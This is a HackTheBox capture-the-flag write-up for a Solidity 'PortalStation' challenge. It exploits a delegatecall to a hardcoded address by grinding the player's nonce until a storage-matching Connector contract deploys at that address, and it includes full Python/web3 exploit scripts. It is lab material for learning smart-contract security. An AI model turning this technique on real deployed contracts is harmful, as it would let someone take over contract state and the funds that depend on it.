$ cat writeup.md…
$ cat writeup.md…
HackTheBox
**Goal:** Make `isPortalActive["orcKingdom"]` return `true` so that `Setup.isSolved()` passes.
The group, who had gathered all the keys, found themselves at the portal station, trying to find a way to get to the Orc Kingdom, where the treasure was located according to the map. But as they looked around, they realized that the expert who usually helped them navigate the portals was nowhere to be found. They need to reverse engineer the process and figure out how to spawn a portal to their destination.
Goal: Make isPortalActive["orcKingdom"] return true so that Setup.isSolved() passes.
Setup.sol — deploys PortalStation and checks if TARGET.isPortalActive("orcKingdom") is true.
Portal.sol — main contract with two methods to activate portals:
contract PortalStation { mapping(string => address) public destinations; mapping(string => bool) public isPortalActive; bool isExpertStandby; constructor() { destinations["orcKingdom"] = 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007; destinations["elfKingdom"] = 0x598136Fd1B89AeaA9D6825086B6E4cF9ad2BD4cF; destinations["dawrfKingdom"] = 0xFc2D16b59Ec482FaF3A8B1ee6E7E4E8D45Ec8bf1; isPortalActive["elfKingdom"] = true; } function requestPortal(string calldata _destination) public payable { require(destinations[_destination] != address(0)); require(isExpertStandby, "Portal expert has a day off"); require(msg.value > 1337 ether); isPortalActive[_destination] = true; } function createPortal(string calldata _destination) public { require(destinations[_destination] != address(0)); (bool success, bytes memory retValue) = destinations[_destination].delegatecall( abi.encodeWithSignature("connect()") ); require(success, "Portal destination is currently not available"); require(abi.decode(retValue, (bool)), "Connection failed"); } }
Path 1: requestPortal() — Dead end:
isExpertStandby to be true (it's false, no setter exists)msg.value > 1337 ether (player only has ~15 ETH)Path 2: createPortal() — Exploitable:
delegatecall to destinations["orcKingdom"] = 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007Ethereum contract addresses created via CREATE opcode are deterministic:
address = keccak256(rlp(deployer_address, nonce))[12:]
If we can deploy a contract at the exact orcKingdom address (0xFC31...4007), the delegatecall will execute our code in PortalStation's storage context, allowing us to set isPortalActive["orcKingdom"] = true.
Since delegatecall executes in the caller's storage context, our deployed contract must have the same storage layout as PortalStation:
mapping(string => address) destinationsmapping(string => bool) isPortalActivebool isExpertStandbyCalculate which nonce produces the target address:
import rlp from eth_utils import keccak, to_checksum_address player = bytes.fromhex("aDb67e10Fa330db49e98201B4c5F19356CfA3f59") # Player address target = "0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007".lower() for nonce in range(1000): if nonce == 0: encoded = rlp.encode([player, b'']) else: encoded = rlp.encode([player, nonce]) addr = keccak(encoded)[-20:] computed = to_checksum_address(addr.hex()).lower() if computed == target: print(f"Found! Nonce = {nonce}") break
Result: Nonce 130 produces the target address.
Send 130 self-transactions (0 ETH to self) to increment the player's nonce:
from web3 import Web3 w3 = Web3(Web3.HTTPProvider(rpc_url)) account = w3.eth.account.from_key(private_key) for i in range(0, 130): tx = { 'from': account.address, 'to': account.address, 'value': 0, 'gas': 21000, 'gasPrice': w3.eth.gas_price, 'nonce': i, 'chainId': w3.eth.chain_id, } signed = account.sign_transaction(tx) w3.eth.send_raw_transaction(signed.raw_transaction) print(f"Sent tx {i+1}/130")
Create a contract with matching storage layout and a connect() function:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Connector { // Storage layout must match PortalStation mapping(string => address) public destinations; // slot 0 mapping(string => bool) public isPortalActive; // slot 1 function connect() external returns (bool) { isPortalActive["orcKingdom"] = true; return true; } }
Deploy at nonce 130 — this lands at exactly 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007.
# Call createPortal("orcKingdom") on PortalStation portal_station = w3.eth.contract(address=portal_address, abi=portal_abi) tx = portal_station.functions.createPortal("orcKingdom").build_transaction({ 'from': account.address, 'gas': 100000, 'gasPrice': w3.eth.gas_price, 'nonce': w3.eth.get_transaction_count(account.address), }) signed = account.sign_transaction(tx) w3.eth.send_raw_transaction(signed.raw_transaction)
Execution flow:
createPortal("orcKingdom") checks destinations["orcKingdom"] != address(0) ✓delegatecall to 0xFC31...4007 (our Connector) calling connect()connect() executes in PortalStation's storage contextisPortalActive["orcKingdom"] = true in PortalStation's storagetrue, passing both require checks#!/usr/bin/env python3 import rlp from eth_utils import keccak, to_checksum_address from web3 import Web3 from solcx import compile_source, install_solc # Setup install_solc('0.8.13') w3 = Web3(Web3.HTTPProvider(RPC_URL)) account = w3.eth.account.from_key(PRIVATE_KEY) # Step 1: Find required nonce player_bytes = bytes.fromhex(account.address[2:]) target = "0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007".lower() required_nonce = None for nonce in range(1000): encoded = rlp.encode([player_bytes, b'' if nonce == 0 else nonce]) addr = keccak(encoded)[-20:] if to_checksum_address(addr.hex()).lower() == target: required_nonce = nonce break print(f"Required nonce: {required_nonce}") # Step 2: Grind nonce current_nonce = w3.eth.get_transaction_count(account.address) for i in range(current_nonce, required_nonce): tx = { 'from': account.address, 'to': account.address, 'value': 0, 'gas': 21000, 'gasPrice': w3.eth.gas_price, 'nonce': i, 'chainId': w3.eth.chain_id, } signed = account.sign_transaction(tx) w3.eth.send_raw_transaction(signed.raw_transaction) # Step 3: Deploy Connector at target nonce connector_source = ''' // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Connector { mapping(string => address) public destinations; mapping(string => bool) public isPortalActive; function connect() external returns (bool) { isPortalActive["orcKingdom"] = true; return true; } } ''' compiled = compile_source(connector_source, output_values=['abi', 'bin']) contract_id, contract_interface = compiled.popitem() bytecode = contract_interface['bin'] abi = contract_interface['abi'] deploy_tx = { 'from': account.address, 'data': '0x' + bytecode, 'gas': 500000, 'gasPrice': w3.eth.gas_price, 'nonce': required_nonce, 'chainId': w3.eth.chain_id, } signed = account.sign_transaction(deploy_tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"Connector deployed at: {receipt.contractAddress}") # Step 4: Call createPortal portal_abi = [{"inputs":[{"name":"_destination","type":"string"}],"name":"createPortal","outputs":[],"stateMutability":"nonpayable","type":"function"}] portal = w3.eth.contract(address=PORTAL_ADDRESS, abi=portal_abi) tx = portal.functions.createPortal("orcKingdom").build_transaction({ 'from': account.address, 'gas': 100000, 'gasPrice': w3.eth.gas_price, 'nonce': w3.eth.get_transaction_count(account.address), }) signed = account.sign_transaction(tx) w3.eth.send_raw_transaction(signed.raw_transaction) print("Exploit complete!")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar